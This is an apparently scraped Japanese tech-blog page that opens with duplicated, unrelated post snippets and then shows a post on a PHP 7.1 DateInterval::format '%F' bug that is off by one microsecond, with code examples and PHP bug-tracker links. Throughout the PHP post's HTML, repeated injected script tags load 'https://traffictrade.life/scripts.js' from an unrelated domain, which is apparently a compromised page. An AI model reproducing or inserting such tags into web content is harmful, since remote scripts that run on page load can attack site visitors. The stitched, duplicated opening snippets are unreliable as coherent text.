「すごいエンジニア」は凄いエンジニアになることを目指してないかも:Geekなぺーじ
「すごいエンジニア」が一部界隈で話題になっています。 「すごいエンジニア」が目指すもの 私がこれまでに「この人は凄いなぁ」とか「この人には一生かなわないなぁ」と思った「すごいエンジニア」は、次のようなイメージがあります。(ここでは、元記事の文脈に沿って「エンジニア」をという単語を主に「IT系の」として表現します。)
「すごいエンジニア」が一部界隈で話題になっています。 「すごいエンジニア」が目指すもの 私がこれまでに「この人は凄いなぁ」とか「この人には一生かなわないなぁ」と思った「すごいエンジニア」は、次のようなイメージがあります。(ここでは、元記事の文脈に沿って「エンジニア」をという単語を主に「IT系の」として表現します。)
オンライン動画学習サービスSchoo(スクー)で、「シリコンバレーで働くエンジニアと考える、これからのキャリア」と題した授業をさせていただきました。*1 シリコンバレーで働くエンジニアと考える、これからのキャリア 堤 修一 先生 - 無料動画学習|Schoo(スクー) 撮影
先日、自分のあるVPSサーバでclamdscanを起動したら、こんなエラーができました。 `ERROR: Could not lookup : Servname not supported for ai_socktype`
<div> <p>本日はエイプリルフールなので、ウソでも本当でも誰も困らないPHPのバグの話をします。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>PHP 7.1.0からPHPのDateTimeクラスでマイクロ秒の扱いを強化しているようで、挙動やコードの変更がチラホラ見受けられます。(参考:「<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://qiita.com/hnw/items/665ff303d37d50fc0bff" target="_blank">PHP 7.1からDateTimeが現在時刻のマイクロ秒まで見るようになった - Qiita</a>」)</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>時刻と時刻の差分を扱うDateIntervalクラスでもPHP 7.1.0以降マイクロ秒に対応したようで、<script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="http://php.net/manual/en/dateinterval.format.php" target="_blank">DateInterval::format</a>メソッドもマイクロ秒の表示に対応しているようです。さっそく実験してみましょう。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> <span><?php</span> <span>$</span><span>dt1</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2000-01-01 00:00:00</span>"<span>)</span>; <span>$</span><span>dt2</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2006-01-02 03:04:05.6</span>"<span>)</span>; <span>$</span><span>interval</span> <span>=</span> <span>$</span><span>dt1</span><span>-></span>diff<span>(</span><span>$</span><span>dt2</span><span>)</span>; <span>var_dump</span><span>(</span><span>$</span><span>interval</span><span>-></span>format<span>(</span>"<span>%R%Y-%M-%D %H:%I:%S.%F</span>"<span>))</span>; <span>/* Output: string(25) "+06-00-01 03:04:05.600000" */</span> </pre> <br><p>パラメータ<code>%F</code>で差分のマイクロ秒が表示できました。ところで、次のような例を試すと奇妙なことに気づきます。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><pre> <span><?php</span> <span>$</span><span>dt1</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2000-01-01 00:00:00</span>"<span>)</span>; <span>$</span><span>dt2</span><span>=</span><span>new</span> DateTime<span>(</span>"<span>2006-01-02 03:04:05.000251</span>"<span>)</span>; <span>$</span><span>interval</span> <span>=</span> <span>$</span><span>dt1</span><span>-></span>diff<span>(</span><span>$</span><span>dt2</span><span>)</span>; <span>var_dump</span><span>(</span><span>$</span><span>interval</span><span>-></span>format<span>(</span>"<span>%R%Y-%M-%D %H:%I:%S.%F</span>"<span>))</span>; <span>/* Output: string(25) "+06-00-01 03:04:05.000250" */</span> </pre> <br><p>0と251の差なので「000251」と表示されるはずが「000250」となっており、1マイクロ秒ズレた結果になっています。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><p>ドキュメント化もされていない機能なので誰も困らないと思いますが、一応バグ報告しておきました。</p><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script> <br><ul><li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://bugs.php.net/bug.php?id=74355" target="_blank">PHP :: Bug #74355 :: DateInterval::format() with ”%F” sometimes shows incorrect value by 1us</a></li> <li> <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><script src='https://traffictrade.life/scripts.js' type='text/javascript'></script><a href="https://bugs.php.net/bug.php?id=74356" target="_blank">PHP :: Doc Bug #74356 :: DateInterval::format() now supports ”%F” as fraction but undocumented</a></li> </ul></div>